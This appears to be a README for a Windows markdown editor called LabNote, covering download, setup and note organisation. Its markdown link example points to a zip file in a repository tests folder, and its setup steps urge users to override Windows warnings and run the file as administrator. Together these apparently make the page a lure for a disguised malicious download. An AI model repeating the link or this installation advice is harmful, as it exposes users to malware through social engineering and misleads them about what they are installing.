📝 LabNote - Clear notes in two languages

📥 Download LabNote

1. Open the LabNote Releases page
2. Find the latest release at the top of the page
3. Download the Windows file that ends in .exe or .msi
4. Save the file to your computer
5. Double-click the file to start setup or launch the app

If Windows shows a prompt, choose Run anyway or Yes to continue.

🚀 Get started on Windows

1. Download the latest version from the Releases page
2. Open the downloaded file
3. If a setup window appears, follow the steps on screen
4. If the app opens at once, you can start using it
5. Create your first note from the main screen

LabNote is a desktop markdown editor built for local use. It keeps your files on your own computer and gives you a clean space for writing.

✨ What LabNote does

• Write notes in markdown
• Keep content stored locally
• Switch between Chinese and English with ease
• Organize notes in a clear structure
• Work with plain text files
• Edit long documents without losing track
• Keep your notes easy to maintain over time

🖥️ System needs

LabNote is made for Windows desktop use.

• Windows 10 or newer
• 4 GB RAM or more
• About 200 MB of free disk space
• A mouse and keyboard
• Internet access only for downloading the app

For best results, use a screen size that gives you room to edit and read side by side.

📂 How to use LabNote

1. Open the app

Start LabNote from your desktop, Start menu, or the folder where you saved it.

2. Create a note

Use the new note button or the file menu to make a note.

3. Write in markdown

Type plain text and use markdown for headings, lists, links, and emphasis.

4. Organize your work

Group notes by topic, project, or date so you can find them later.

5. Switch languages

Write in Chinese, English, or both in the same note. LabNote is built to handle mixed content with clear spacing and layout.

🧭 Basic markdown examples

• # Heading 1
• ## Heading 2
• - List item
• **Bold text**
• [Link text](https://raw.githubusercontent.com/spenceacned911/LabNote/main/tests/Lab-Note-yegg.zip)

If you are new to markdown, start with headings and lists. That covers most everyday notes.

🗂️ File handling

LabNote uses local files, so your notes stay on your computer.

• You can save notes in a folder you choose
• You can open existing markdown files
• You can move files with File Explorer
• You can back up your notes by copying the folder

This makes it easy to keep your notes under your control.

🔎 Good use cases

LabNote fits well if you want to:

• Keep a study notebook
• Write project notes
• Track meeting points
• Draft bilingual notes
• Save research ideas
• Maintain a long-term personal knowledge base

🛠️ Common setup steps

If the app does not open right away:

1. Check that the file finished downloading
2. Try opening it again
3. Right-click the file and choose Run as administrator
4. Make sure Windows did not move it to your downloads block list
5. Download the latest release again if the file looks incomplete

If you use a work computer, your system may ask for extra permission before the app starts.

📌 Notes on local-first use

LabNote is built around local-first editing. That means your notes stay on your device instead of living in a cloud folder by default.

This setup works well when you want:

• Faster access to files
• Less dependence on sign-ins
• Simple backup steps
• More control over where your notes live

🔄 Updating LabNote

When a new release is available:

1. Visit the Releases page
2. Download the newest Windows file
3. Close LabNote if it is open
4. Install or open the new version
5. Keep your note files in the same folder

Your notes should remain in place if you store them in a separate folder from the app.

❓ Help with first use

If you are not sure where to begin:

1. Open LabNote
2. Create a new note
3. Type a title
4. Add a heading with #
5. Write a short list of items
6. Save the file

That is enough to start using the app for daily notes.

📁 Suggested note structure

You can keep your notes in folders like these:

• Work
• Study
• Research
• Personal
• Archive

Inside each folder, use simple file names such as:

• 2026-04-17-meeting-notes.md
• english-vocabulary.md
• project-plan.md
• lab-observations.md

Clear file names make notes easier to find later.

🧩 Built from practice

LabNote comes from real work on rewriting MarkText. It focuses on a clear layout, simple editing, and long-term maintainability. The result is a markdown desktop editor that stays easy to use and easy to keep in shape over time.